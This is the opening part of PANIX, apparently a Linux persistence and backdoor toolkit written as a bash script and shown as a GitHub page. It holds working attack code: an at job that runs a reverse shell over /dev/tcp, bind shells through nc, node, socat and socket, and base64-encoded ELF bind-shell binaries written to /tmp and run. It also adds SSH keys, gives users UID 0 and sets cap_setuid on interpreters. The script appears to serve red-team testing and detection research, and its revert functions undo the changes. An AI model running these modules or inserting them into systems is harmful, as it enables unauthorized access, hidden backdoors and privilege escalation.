-
Notifications
You must be signed in to change notification settings - Fork 51
/
panix.sh
7876 lines (6980 loc) · 232 KB
/
panix.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
RED='\033[0;31m'
NC='\033[0m'
print_banner() {
echo ""
echo " __ "
echo "|__) /\ |\\ | | \\_/ "
echo "| /~~\\ | \\| | / \\ "
echo " "
echo "@RFGroenewoud"
echo ""
}
check_root() {
if [[ $EUID -ne 0 ]]; then
return 1
else
return 0
fi
}
usage_user() {
echo -e "${RED}[!] Warning: More features are available when running as root.${NC}"
echo ""
echo "Low Privileged User Options:"
echo ""
echo " --at At job persistence"
echo " --authorized-keys Add public key to authorized keys"
echo " --bind-shell Execute backgrounded bind shell (supports multiple LOLBins)"
echo " --cron Cron job persistence"
echo " --git Git persistence"
echo " --malicious-container Docker container with host escape (requires docker group permissions)"
echo " --reverse-shell Reverse shell persistence (supports multiple LOLBins)"
echo " --shell-profile Shell profile persistence"
echo " --ssh-key SSH key persistence"
echo " --systemd Systemd service persistence"
echo " --web-shell Web shell persistence (PHP/Python)"
echo " --xdg XDG autostart persistence"
echo " --revert Revert most changes made by PANIX' default options"
echo " --mitre-matrix Display the MITRE ATT&CK Matrix for PANIX"
echo " --quiet (-q) Quiet mode (no banner)"
}
usage_root() {
echo ""
echo "Root User Options:"
echo ""
echo " --at At job persistence"
echo " --authorized-keys Add public key to authorized keys"
echo " --backdoor-user Create backdoor user"
echo " --bind-shell Execute backgrounded bind shell (supports multiple LOLBins)"
echo " --cap Add capabilities persistence"
echo " --create-user Create a new user"
echo " --cron Cron job persistence"
echo " --generator Generator persistence"
echo " --git Git hook/pager persistence"
echo " --initd SysV Init (init.d) persistence"
echo " --ld-preload LD_PRELOAD backdoor persistence"
echo " --lkm Loadable Kernel Module (LKM) persistence"
echo " --malicious-container Docker container with host escape"
echo " --malicious-package Build and Install a package for persistence (DPKG/RPM)"
echo " --motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)"
echo " --package-manager Package Manager persistence (APT/YUM/DNF)"
echo " --pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)"
echo " --passwd-user Add user to /etc/passwd directly"
echo " --password-change Change user password"
echo " --rc-local Run Control (rc.local) persistence"
echo " --reverse-shell Reverse shell persistence (supports multiple LOLBins)"
echo " --rootkit Diamorphine (LKM) rootkit persistence"
echo " --shell-profile Shell profile persistence"
echo " --ssh-key SSH key persistence"
echo " --sudoers Sudoers persistence"
echo " --suid SUID persistence"
echo " --system-binary System binary persistence"
echo " --systemd Systemd service persistence"
echo " --udev Udev (driver) persistence"
echo " --web-shell Web shell persistence (PHP/Python)"
echo " --xdg XDG autostart persistence"
echo " --revert Revert most changes made by PANIX' default options"
echo " --mitre-matrix Display the MITRE ATT&CK Matrix for PANIX"
echo " --quiet (-q) Quiet mode (no banner)"
echo ""
}
# All revert functions
revert_all() {
echo "[+] Reverting all modules..."
local modules=(
revert_at
revert_authorized_keys
revert_backdoor_user
revert_bind_shell
revert_cap
revert_create_user
revert_cron
revert_generator
revert_git
revert_initd
revert_ld_preload
revert_lkm
revert_malicious_container
revert_malicious_package
revert_motd_backdoor
revert_package_manager
revert_pam
revert_passwd_user
revert_password_change
revert_rc_local
revert_reverse_shell
revert_rootkit
revert_shell_profile
revert_ssh_key
revert_sudoers
revert_suid
revert_system_binary
revert_systemd
revert_udev
revert_web_shell
revert_xdg
)
# Disable exit on error
set +e
for module in "${modules[@]}"; do
echo ""
echo "######################### [+] Reverting $module... #########################"
echo ""
# Check if the module exists
if ! command -v "$module" &>/dev/null; then
echo "[-] Function $module not found. Skipping..."
continue
fi
# Execute the module and capture its exit status
"$module"
local exit_code=$?
if [[ $exit_code -eq 0 ]]; then
echo ""
echo "[+] $module reverted successfully."
echo ""
else
echo ""
echo "[-] Failed to revert $module. Exit Code: $exit_code"
echo ""
fi
done
# Re-enable exit on error
set -e
echo "[+] Reversion of all modules complete."
}
# Module: setup_at.sh
setup_at() {
local command=""
local custom=0
local default=0
local ip=""
local port=""
local time=""
usage_at() {
echo "Usage: ./panix.sh --at [OPTIONS]"
echo "--examples Display command examples"
echo "--default Use default at settings"
echo " --ip <ip> Specify IP address"
echo " --port <port> Specify port number"
echo " --time <time> Specify time for at job (e.g., now + 1 minute)"
echo "--custom Use custom at settings"
echo " --command <command> Specify custom persistence command"
echo " --time <time> Specify time for at job (e.g., now + 1 minute)"
echo "--help|-h Show this help message"
}
while [[ "$1" != "" ]]; do
case $1 in
--default )
default=1
;;
--custom )
custom=1
;;
--command )
shift
command=$1
;;
--ip )
shift
ip=$1
;;
--port )
shift
port=$1
;;
--time )
shift
time=$1
;;
--examples )
echo "Examples:"
echo "--default:"
echo "./panix.sh --at --default --ip 10.10.10.10 --port 1337 --time \"now + 1 minute\""
echo ""
echo "--custom:"
echo "sudo ./panix.sh --at --custom --command \"/bin/bash -c 'sh -i >& /dev/tcp/10.10.10.10/1337 0>&1'\" --time \"now + 1 minute\""
exit 0
;;
--help|-h)
usage_at
exit 0
;;
* )
echo "Invalid option for --at: $1"
echo "Try './panix.sh --at --help' for more information."
exit 1
esac
shift
done
if ! command -v at &> /dev/null; then
echo "Error: 'at' binary is not present. Please install 'at' to use this mechanism."
exit 1
fi
if [[ $default -eq 1 && $custom -eq 1 ]]; then
echo "Error: --default and --custom cannot be specified together."
echo "Try './panix.sh --at --help' for more information."
exit 1
elif [[ $default -eq 1 ]]; then
if [[ -z $ip || -z $port || -z $time ]]; then
echo "Error: --ip, --port, and --time must be specified when using --default."
echo "Try './panix.sh --at --help' for more information."
exit 1
fi
echo "/bin/bash -c 'sh -i >& /dev/tcp/$ip/$port 0>&1'" | at $time
elif [[ $custom -eq 1 ]]; then
if [[ -z $command || -z $time ]]; then
echo "Error: --command and --time must be specified when using --custom."
echo "Try './panix.sh --at --help' for more information."
exit 1
fi
echo "$command" | at $time
else
echo "Error: Either --default or --custom must be specified for --at."
echo "Try './panix.sh --at --help' for more information."
exit 1
fi
echo "[+] At job persistence established!"
}
# Revert Module: revert_at.sh
revert_at() {
usage_revert_at() {
echo "Usage: ./panix.sh --revert at"
echo "Reverts any changes made by the setup_at module."
}
if ! command -v at &> /dev/null; then
echo "Error: 'at' binary is not present. Cannot revert 'at' jobs."
return 1
fi
# Fetch all queued `at` jobs
jobs=$(atq | awk '{print $1}')
if [[ -z "$jobs" ]]; then
echo "[-] No 'at' jobs found to revert."
return 0
fi
# Iterate over each job, check its command, and remove if it matches known patterns
for job in $jobs; do
job_info=$(at -c "$job")
if [[ "$job_info" =~ "sh -i >& /dev/tcp" || "$job_info" =~ "/bin/bash -c" ]]; then
atrm "$job"
echo "[+] Removed matching 'at' job with ID $job."
fi
done
return 0
}
# Module: setup_authorized_keys.sh
setup_authorized_keys() {
local key=""
local path=""
local default=0
local custom=0
usage_authorized_keys() {
if check_root; then
echo "Usage: ./panix.sh --authorized-keys [OPTIONS]"
echo "Root User Options:"
echo "--examples Display command examples"
echo "--default Use default authorized keys settings"
echo " --key <key> Specify the public key"
echo "--custom Use custom authorized keys settings"
echo " --key <key> Specify the public key"
echo " --path <path> Specify custom authorized keys file path"
echo "--help|-h Show this help message"
else
echo "Usage: ./panix.sh --authorized-keys [OPTIONS]"
echo "Low Privileged User Options:"
echo "--examples Display command examples"
echo "--default Use default authorized keys settings"
echo " --key <key> Specify the public key"
echo "--help|-h Show this help message"
fi
}
while [[ "$1" != "" ]]; do
case $1 in
--default )
default=1
;;
--custom )
custom=1
;;
--key )
shift
key=$1
;;
--path )
shift
path=$1
;;
--examples )
echo "Examples:"
echo "--default:"
echo "./panix.sh --authorized-keys --default --key <public_key>"
echo ""
echo "--custom:"
echo "sudo ./panix.sh --authorized-keys --custom --key <public_key> --path /home/user/.ssh/authorized_keys"
exit 0
;;
--help|-h)
usage_authorized_keys
exit 0
;;
* )
echo "Invalid option for --authorized-keys: $1"
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
esac
shift
done
if [[ $default -eq 1 && $custom -eq 1 ]]; then
echo "Error: --default and --custom cannot be specified together."
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
elif [[ -z $key ]]; then
echo "Error: --key must be specified."
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
fi
if check_root; then
if [[ $default -eq 1 ]]; then
path="/root/.ssh/authorized_keys"
elif [[ $custom -eq 1 && -n $path ]]; then
mkdir -p $(dirname $path)
else
echo "Error: --path must be specified with --custom for root."
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
fi
else
if [[ $default -eq 1 ]]; then
local current_user=$(whoami)
path="/home/$current_user/.ssh/authorized_keys"
else
echo "Error: Only root can use --custom for --authorized-keys."
echo "Try './panix.sh --authorized-keys --help' for more information."
exit 1
fi
fi
mkdir -p $(dirname $path)
echo "[+] Backing up authorized_keys file to $path.bak"
cp $path $path.bak
echo $key >> $path
chmod 600 $path
echo "[+] Authorized_keys persistence established!"
}
# Revert Module: revert_authorized_keys.sh
revert_authorized_keys() {
local path=""
usage_revert_authorized_keys() {
echo "Usage: ./panix.sh --revert authorized-keys"
echo "Reverts any changes made by the setup_authorized_keys module."
}
if check_root; then
path="/root/.ssh/authorized_keys"
else
local current_user=$(whoami)
path="/home/$current_user/.ssh/authorized_keys"
fi
if [[ -f "${path}.bak" ]]; then
echo "[+] Restoring backup from ${path}.bak to $path."
mv "${path}.bak" "$path"
chmod 600 "$path"
echo "[+] Revert complete: Restored $path from backup."
return 1
else
echo "[-] Backup file ${path}.bak not found. No changes made."
return 0
fi
return 0
}
# Module: setup_backdoor_user.sh
setup_backdoor_user() {
local username=""
usage_backdoor_user() {
echo "Usage: ./panix.sh --backdoor-user [OPTIONS]"
echo "--examples Display command examples"
echo "--username <username> Specify the username"
echo "--help|-h Show this help message"
}
if ! check_root; then
echo "Error: This function can only be run as root."
exit 1
fi
while [[ "$1" != "" ]]; do
case $1 in
--username )
shift
username=$1
;;
--examples )
echo "Examples:"
echo "sudo ./panix.sh --backdoor-user --username <username>"
exit 0
;;
--help|-h)
usage_backdoor_user
exit 0
;;
* )
echo "Invalid option for --backdoor-user: $1"
echo "Try './panix.sh --backdoor-user --help' for more information."
exit 1
esac
shift
done
if [[ -z $username ]]; then
echo "Error: --username must be specified."
echo "Try './panix.sh --backdoor-user --help' for more information."
exit 1
fi
usermod -u 0 -o $username
if [[ $? -eq 0 ]]; then
echo "[+] User $username has been modified to have UID 0 (root privileges)."
else
echo "[-] Failed to modify user $username."
exit 1
fi
echo "[+] Backdoor user persistence established!"
}
# Revert Module: revert_backdoor_user.sh
revert_backdoor_user() {
usage_revert_backdoor_user() {
echo "Usage: ./panix.sh --revert backdoor-user"
echo "Reverts any changes made by the setup_backdoor_user module."
}
if ! check_root; then
echo "Error: This function can only be run as root."
return 1
fi
# Find users with UID 0 and not named 'root'
backdoor_users=$(awk -F: '($3 == 0) && ($1 != "root") {print $1}' /etc/passwd)
if [[ -z "$backdoor_users" ]]; then
echo "[+] No backdoor users found."
return 0
fi
for username in $backdoor_users; do
echo "[+] Found backdoor user: $username"
# Get next available UID above 1000
next_uid=$(awk -F: 'BEGIN {max=999} ($3>=1000 && $3>max) {max=$3} END {print max+1}' /etc/passwd)
# Backup /etc/passwd before making changes
cp /etc/passwd /etc/passwd.bak
echo "[+] Backup of /etc/passwd created at /etc/passwd.bak"
# Use sed to change the UID from 0 to next available UID
sed -i "s/^\($username:[^:]*:\)0:/\1$next_uid:/" /etc/passwd
if [[ $? -eq 0 ]]; then
echo "[+] Changed UID of $username to $next_uid in /etc/passwd."
else
echo "[-] Failed to change UID for user $username."
fi
done
return 0
}
# Module: setup_bind_shell.sh
setup_bind_shell() {
local default=0
local custom=0
local shellcode=0
local lolbin=0
local architecture=""
local binary=""
local nc=0
local node=0
local socat=0
local socket=0
usage_bind_shell() {
echo "Usage: ./panix.sh --bind-shell [OPTIONS]"
echo "--examples Display command examples"
echo "--default Use default bind shell settings"
echo " --shellcode Use shellcode for bind shell"
echo " --architecture <arch> Specify architecture (x86 or x64)"
echo " --lolbin Use LOLBIN for bind shell"
echo " --nc | --node | --socat | --socket Specify LOLBIN to use"
echo " --port <port> Specify port to bind shell to"
echo "--custom Use custom bind shell binary"
echo " --binary <binary> Specify the path to the custom binary"
echo "--help|-h Show this help message"
}
while [[ "$1" != "" ]]; do
case $1 in
--default )
default=1
;;
--custom )
custom=1
;;
--shellcode )
shellcode=1
;;
--lolbin )
lolbin=1
;;
--architecture )
shift
architecture=$1
;;
--binary )
shift
binary=$1
;;
--nc )
nc=1
;;
--node )
node=1
;;
--socat )
socat=1
;;
--socket )
socket=1
;;
--port )
shift
port=$1
;;
--examples )
echo "Examples:"
echo "--default:"
echo "sudo ./panix.sh --bind-shell --default --shellcode --architecture x86"
echo "sudo ./panix.sh --bind-shell --default --lolbin --nc --port 1337"
echo ""
echo "--custom:"
echo "sudo ./panix.sh --bind-shell --custom --binary \"/tmp/bindshell\""
exit 0
;;
--help|-h)
usage_bind_shell
exit 0
;;
* )
echo "Invalid option for --bind-shell: $1"
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
esac
shift
done
# Validate argument combinations
if [[ $default -eq 1 && $custom -eq 1 ]]; then
echo "Error: --default and --custom cannot be specified together."
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
fi
if [[ $default -eq 1 ]]; then
if [[ $shellcode -eq 0 && $lolbin -eq 0 ]]; then
echo "Error: --default requires either --shellcode or --lolbin."
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
fi
if [[ $shellcode -eq 1 ]]; then
if [[ -z $architecture ]]; then
echo "Error: --architecture (x64/x86) must be specified when using --shellcode."
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
fi
case $architecture in
x86 )
echo "[+] Using shellcode for x86 architecture..."
echo -n "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAiiAAAA8AAAAAcAAAAAEAAAMdv341NDU2oCieGwZs2AW15SaAIAIylqEFFQieFqZljNgIlBBLMEsGbNgEOwZs2Ak1lqP1jNgEl5+GgvL3NoaC9iaW6J41BTieGwC82A" | base64 -d > /tmp/bd86
chmod +x /tmp/bd86
/tmp/bd86 &
echo "[+] Bind shell binary /tmp/bd86 created and executed in the background."
;;
x64 )
echo "[+] Using shellcode for x64 architecture..."
echo -n "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgAjKUiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU=" | base64 -d > /tmp/bd64
chmod +x /tmp/bd64
/tmp/bd64 &
echo "[+] Bind shell binary /tmp/bd64 created and executed in the background."
;;
* )
echo "Error: Invalid architecture specified. Use one of x86 or x64."
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
esac
echo "[+] Bind shell persistence established!"
echo "[+] The bind shell is listening on port 9001."
echo "[+] To interact with it from a different system, use: nc -nv <IP> 9001"
fi
if [[ $lolbin -eq 1 ]]; then
if [[ $nc -eq 0 && $node -eq 0 && $socat -eq 0 && $socket -eq 0 ]]; then
echo "Error: --lolbin requires one of --nc, --node, --socat, or --socket."
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
fi
if [[ -z $port ]]; then
echo "Error: --port must be specified when using --lolbin."
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
fi
# Ref: https://gtfobins.github.io/gtfobins/nc/#bind-shell
if [[ $nc -eq 1 ]]; then
echo "[+] Checking for Netcat (nc.traditional) on the system..."
if command -v nc.traditional &>/dev/null; then
echo "[+] Netcat (nc.traditional) is available. Starting bind shell on port $port..."
nc.traditional -l -p "$port" -e /bin/sh &
echo "[+] Netcat bind shell running in the background on port $port."
echo "[+] To connect to the shell from the attacker box, use netcat or telnet:"
echo " nc <target.com> $port"
echo " telnet <target.com> $port"
elif command -v nc &>/dev/null; then
echo "[+] Checking if Netcat (nc) supports the -e option..."
if nc -h 2>&1 | grep -q -- "-e"; then
echo "[+] Netcat (nc) supports -e. Starting bind shell on port $port..."
nc -l -p "$port" -e /bin/sh &
echo "[+] Netcat bind shell running in the background on port $port."
echo "[+] To connect to the shell from the attacker box, use netcat or telnet:"
echo " nc <target.com> $port"
echo " telnet <target.com> $port"
else
echo "[-] Netcat (nc) does not support the -e option. Cannot use Netcat for bind shell."
fi
else
echo "[-] Neither nc.traditional nor nc with -e option is available. Cannot use Netcat for bind shell."
fi
fi
# https://gtfobins.github.io/gtfobins/node/#bind-shell
if [[ $node -eq 1 ]]; then
echo "[+] Checking for Node.js on the system..."
if command -v node &>/dev/null; then
echo "[+] Node.js is available. Starting bind shell on port $port..."
# Start the bind shell using Node.js
node -e "
const sh = require('child_process').spawn('/bin/sh');
require('net').createServer(client => {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
}).listen($port);
" &
if [[ $? -eq 0 ]]; then
echo "[+] Node.js bind shell running in the background on port $port."
echo "[+] To connect to the shell from the attacker box, use netcat or telnet:"
echo " nc <target.com> $port"
echo " telnet <target.com> $port"
else
echo "[-] Failed to start Node.js bind shell."
fi
else
echo "[-] Node.js is not available on this system. Cannot use Node.js for bind shell."
fi
fi
# Ref: https://gtfobins.github.io/gtfobins/socat/#bind-shell
if [[ $socat -eq 1 ]]; then
echo "[+] Checking for Socat on the system..."
if command -v socat &>/dev/null; then
echo "[+] Socat is available. Starting bind shell on port $port..."
socat TCP-LISTEN:$port,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane &
echo "[+] Socat bind shell running in the background on port $port."
echo "[+] To connect to the shell from the attacker box, run:"
echo " socat FILE:\`tty\`,raw,echo=0 TCP:<target.com>:$port"
else
echo "[-] Socat is not available on this system. Cannot use Socat for bind shell."
fi
fi
# Ref: https://gtfobins.github.io/gtfobins/socket/#bind-shell
if [[ $socket -eq 1 ]]; then
echo "[+] Checking for Socket on the system..."
if command -v socket &>/dev/null; then
echo "[+] Socket is available. Starting bind shell on port $port..."
setsid nohup socket -svp '/bin/sh -i' $port &
echo "[+] Socket bind shell running in the background on port $port."
echo "[+] To connect to the shell from the attacker box, use netcat or telnet:"
echo " nc <target.com> $port"
echo " telnet <target.com> $port"
else
echo "[-] Socket is not available on this system. Cannot use Socket for bind shell."
fi
fi
fi
elif [[ $custom -eq 1 ]]; then
if [[ -z $binary ]]; then
echo "Error: --binary must be specified when using --custom."
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
fi
if [[ ! -f $binary ]]; then
echo "Error: Specified binary does not exist: $binary."
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
fi
chmod +x $binary
$binary &
echo "[+] Custom binary $binary is executed and running in the background."
echo "[+] Bind shell persistence established!"
else
echo "Error: Either --default or --custom must be specified for --bind-shell."
echo "Try './panix.sh --bind-shell --help' for more information."
exit 1
fi
}
# Revert Module: revert_bind_shell.sh
revert_bind_shell() {
usage_revert_bind_shell() {
echo "Usage: ./panix.sh --revert bind-shell"
echo "Reverts any changes made by the setup_bind_shell module."
}
# Kill any running bind shell processes started by setup_bind_shell
echo "[+] Searchnig for bind shell processes and killing them if present..."
# Kill shellcode bind shells (/tmp/bd86 and /tmp/bd64)
if [[ -f /tmp/bd86 ]]; then
echo "[+] Found /tmp/bd86 binary. Killing process and removing binary..."
pkill -f "/tmp/bd86"
rm -f /tmp/bd86
fi
if [[ -f /tmp/bd64 ]]; then
echo "[+] Found /tmp/bd64 binary. Killing process and removing binary..."
pkill -f "/tmp/bd64"
rm -f /tmp/bd64
fi
# Kill netcat bind shell processes
if pgrep -f "nc\.traditional.*-l.*-p" > /dev/null; then
echo "[+] Found Netcat (nc.traditional) bind shell process(es). Killing..."
pkill -f "nc\.traditional.*-l.*-p"
fi
if pgrep -f "nc.*-l.*-p" > /dev/null; then
echo "[+] Found Netcat bind shell process(es). Killing..."
pkill -f "nc.*-l.*-p"
fi
# Kill Node.js bind shell processes
if pgrep -f "node -e" > /dev/null; then
echo "[+] Found Node.js bind shell process(es). Killing..."
pkill -f "node -e"
fi
# Kill Socat bind shell processes
if pgrep -f "socat TCP-LISTEN" > /dev/null; then
echo "[+] Found Socat bind shell process(es). Killing..."
pkill -f "socat TCP-LISTEN"
fi
# Kill Socket bind shell processes
if pgrep -f "socket -svp" > /dev/null; then
echo "[+] Found Socket bind shell process(es). Killing..."
pkill -f "socket -svp"
fi
# Remove custom binary if known
# If a custom binary path was used, it should be stored or known; assuming /tmp/custom_bind_shell
if [[ -f /tmp/custom_bind_shell ]]; then
echo "[+] Found custom bind shell binary at /tmp/custom_bind_shell. Killing process and removing binary..."
pkill -f "/tmp/custom_bind_shell"
rm -f /tmp/custom_bind_shell
fi
return 0
}
# Module: setup_cap_backdoor.sh
setup_cap_backdoor() {
local default=0
local custom=0
local capability=""
local binary=""
if ! check_root; then
echo "Error: This function can only be run as root."
exit 1
fi
usage_cap_backdoor() {
echo "Usage: ./panix.sh --cap [OPTIONS]"
echo "--examples Display command examples"
echo "--default Use default capabilities settings"
echo "--custom Use custom capabilities settings"
echo " --capability <capability> Specify the capability"
echo " --binary <binary> Specify the path to the binary"
echo "--help|-h Show this help message"
}
while [[ "$1" != "" ]]; do
case $1 in
--default )
default=1
;;
--custom )
custom=1
;;
--capability )
shift
capability=$1
;;
--binary )
shift
binary=$1
;;
--examples )
echo "Examples:"
echo "--default:"
echo "sudo ./panix.sh --cap --default"
echo ""
echo "--custom:"
echo "sudo ./panix.sh --cap --custom --capability \"cap_setuid+ep\" --binary \"/bin/find\""
exit 0
;;
--help|-h)
usage_cap_backdoor
exit 0
;;
* )
echo "Invalid option for --cap: $1"
echo "Try './panix.sh --cap --help' for more information."
exit 1
esac
shift
done
if [[ $default -eq 1 && $custom -eq 1 ]]; then
echo "Error: --default and --custom cannot be specified together."
echo "Try './panix.sh --cap --help' for more information."
exit 1
fi
if [[ $default -eq 0 && $custom -eq 0 ]]; then
echo "Error: Either --default or --custom must be specified."
echo "Try './panix.sh --cap --help' for more information."
exit 1
fi
# Ensure setcap is found
if ! command -v setcap &>/dev/null; then
if [[ -x /sbin/setcap ]]; then
SETCAP="/sbin/setcap"
else
echo "[-] setcap not found. Ensure the 'libcap2-bin' package is installed."
exit 1
fi
else
SETCAP=$(command -v setcap)
fi
if [[ $default -eq 1 ]]; then
local binaries=("perl" "ruby" "php" "python" "python3" "node")
for bin in "${binaries[@]}"; do
if command -v $bin &> /dev/null; then
local path=$(command -v $bin)
# Resolve symbolic links to get the real path
path=$(realpath $path)
$SETCAP cap_setuid+ep "$path"
if [[ $? -eq 0 ]]; then
echo "[+] Capability setuid granted to $path"
else
echo "[-] Failed to grant capability setuid to $path"
fi
else
echo "[-] $bin is not present on the system."
fi
done
elif [[ $custom -eq 1 ]]; then
if [[ -z $capability || -z $binary ]]; then
echo "Error: --capability and --binary must be specified with --custom."
echo "Try './panix.sh --cap --help' for more information."
exit 1
fi
if command -v $binary &> /dev/null; then
local path=$(command -v $binary)
# Resolve symbolic links to get the real path
path=$(realpath $path)
$SETCAP $capability $path
if [[ $? -eq 0 ]]; then
echo "[+] Capability $capability granted to $path"
else
echo "[-] Failed to grant capability $capability to $path"
fi
else
echo "[-] $binary is not present on the system."
fi
fi
echo "[+] Capabilities backdoor persistence established!"
}
# Revert Module: revert_cap_backdoor.sh
revert_cap() {
usage_revert_cap() {
echo "Usage: ./panix.sh --revert cap"
echo "Reverts any changes made by the setup_cap_backdoor module."
}
if ! check_root; then
echo "Error: This function can only be run as root."
return 1
fi
# Function to escape special characters in sed patterns
escape_sed_pattern() {
local pattern="$1"
# Escape |, \, /, and & characters
printf '%s' "$pattern" | sed 's/[|\\/&]/\\&/g'
}
# Function to verify if a file is a regular file
is_regular_file() {
local file="$1"
if [[ -f "$file" ]]; then
return 0
else
return 1
fi
}
# Ensure setcap is found
if ! command -v setcap &>/dev/null; then
if [[ -x /sbin/setcap ]]; then
SETCAP="/sbin/setcap"